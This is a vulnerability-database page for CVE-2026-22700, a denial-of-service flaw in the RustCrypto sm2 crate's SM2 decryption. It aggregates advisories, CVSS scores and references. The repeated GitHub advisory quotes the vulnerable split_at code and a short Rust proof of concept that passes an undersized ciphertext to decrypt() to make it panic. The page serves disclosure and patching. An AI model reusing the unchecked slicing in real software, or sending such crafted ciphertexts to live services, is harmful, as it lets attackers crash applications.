CVE-2026-22700
RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991.
- Record
CVE-2026-22700- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2026-1874
7.5
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991.
- Record
EUVD-2026-1874- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-j9xq-69pf-pcm8
7.5
RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
Summary
A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.
Affected Component / Versions
-
File:
src/pke/decrypting.rs -
Functions:
DecryptingKey::decrypt_digest/decrypt/decrypt_der, internaldecrypt()implementation -
Affected releases:
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.
fn decrypt(
secret_scalar: &Scalar,
mode: Mode,
hasher: &mut dyn DynDigest,
cipher: &[u8],
) -> Result<Vec<u8>> {
let q = U256::from_be_hex(FieldElement::MODULUS);
let c1_len = q.bits().div_ceil(8) * 2 + 1; // Typically 65 for SM2
// B1: get 𝐶1 from 𝐶
let (c1, c) = cipher.split_at(c1_len as usize); // PANIC HERE if cipher.len() < 65
let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;
// ... (lines 170-178 omitted)
let digest_size = hasher.output_size(); // Typically 32 for SM3
let (c2, c3) = match mode {
Mode::C1C3C2 => {
let (c3, c2) = c.split_at(digest_size); // PANIC HERE if c.len() < 32
(c2, c3)
}
Mode::C1C2C3 => c.split_at(c.len() - digest_size), // PANIC HERE if c.len() < 32
};
Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.
Proof of Concept (PoC)
Two PoCs were added to this repository under examples/ demonstrating the two
common ways to trigger the issue:
-
examples/poc_short_ciphertext.rs— constructs a deliberately undersized ciphertext (e.g.,vec![0u8; 10]) and passes it toDecryptingKey::decrypt. This triggers thecipher.split_at(c1_len)panic.//! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter //! than the expected C1 length so that `cipher.split_at(c1_len)` panics. //! //! Usage: //! cargo run --example poc_short_ciphertext use rand_core::OsRng; use sm2::pke::DecryptingKey; use sm2::SecretKey; fn main() { // Generate a normal secret key and DecryptingKey instance. let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk); // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`. let short_ciphertext = vec![0u8; 10]; // deliberately too short println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len()); // The panic is the PoC for the lack of length validation. let _ = dk.decrypt(&short_ciphertext); // If the library were robust, this line would be reached and decrypt would return Err. println!("decrypt returned (unexpected) - PoC did not panic"); }
-…
- Record
GHSA-j9xq-69pf-pcm8- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
7.5
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991.
- Record
CVE-2026-22700- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
7.5
RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991.
- Record
CVE-2026-22700- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVGHSA-j9xq-69pf-pcm8
7.5
RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
Summary
A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.
Affected Component / Versions
-
File:
src/pke/decrypting.rs -
Functions:
DecryptingKey::decrypt_digest/decrypt/decrypt_der, internaldecrypt()implementation -
Affected releases:
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.
fn decrypt(
secret_scalar: &Scalar,
mode: Mode,
hasher: &mut dyn DynDigest,
cipher: &[u8],
) -> Result<Vec<u8>> {
let q = U256::from_be_hex(FieldElement::MODULUS);
let c1_len = q.bits().div_ceil(8) * 2 + 1; // Typically 65 for SM2
// B1: get 𝐶1 from 𝐶
let (c1, c) = cipher.split_at(c1_len as usize); // PANIC HERE if cipher.len() < 65
let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;
// ... (lines 170-178 omitted)
let digest_size = hasher.output_size(); // Typically 32 for SM3
let (c2, c3) = match mode {
Mode::C1C3C2 => {
let (c3, c2) = c.split_at(digest_size); // PANIC HERE if c.len() < 32
(c2, c3)
}
Mode::C1C2C3 => c.split_at(c.len() - digest_size), // PANIC HERE if c.len() < 32
};
Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.
Proof of Concept (PoC)
Two PoCs were added to this repository under examples/ demonstrating the two
common ways to trigger the issue:
-
examples/poc_short_ciphertext.rs— constructs a deliberately undersized ciphertext (e.g.,vec![0u8; 10]) and passes it toDecryptingKey::decrypt. This triggers thecipher.split_at(c1_len)panic.//! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter //! than the expected C1 length so that `cipher.split_at(c1_len)` panics. //! //! Usage: //! cargo run --example poc_short_ciphertext use rand_core::OsRng; use sm2::pke::DecryptingKey; use sm2::SecretKey; fn main() { // Generate a normal secret key and DecryptingKey instance. let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk); // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`. let short_ciphertext = vec![0u8; 10]; // deliberately too short println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len()); // The panic is the PoC for the lack of length validation. let _ = dk.decrypt(&short_ciphertext); // If the library were robust, this line would be reached and decrypt would return Err. println!("decrypt returned (unexpected) - PoC did not panic"); }
-…
- Record
GHSA-j9xq-69pf-pcm8- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
sm2crates.io |
0.14.0-pre.0 to 0.14.0-rc.4 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-22700 is a high vulnerability (CVSS 7.5) in Rustcrypto Elliptic-curves, published January 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. No source names a fixed version.
References
github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8
github.com/RustCrypto/elliptic-curves/pull/1603
github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab
nvd.nist.gov/vuln/detail/CVE-2026-22700
github.com/advisories/GHSA-j9xq-69pf-pcm8
github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22700.json
github.com/RustCrypto/elliptic-curves
Left out here: the rest of 2 source descriptions. The JSON record has them.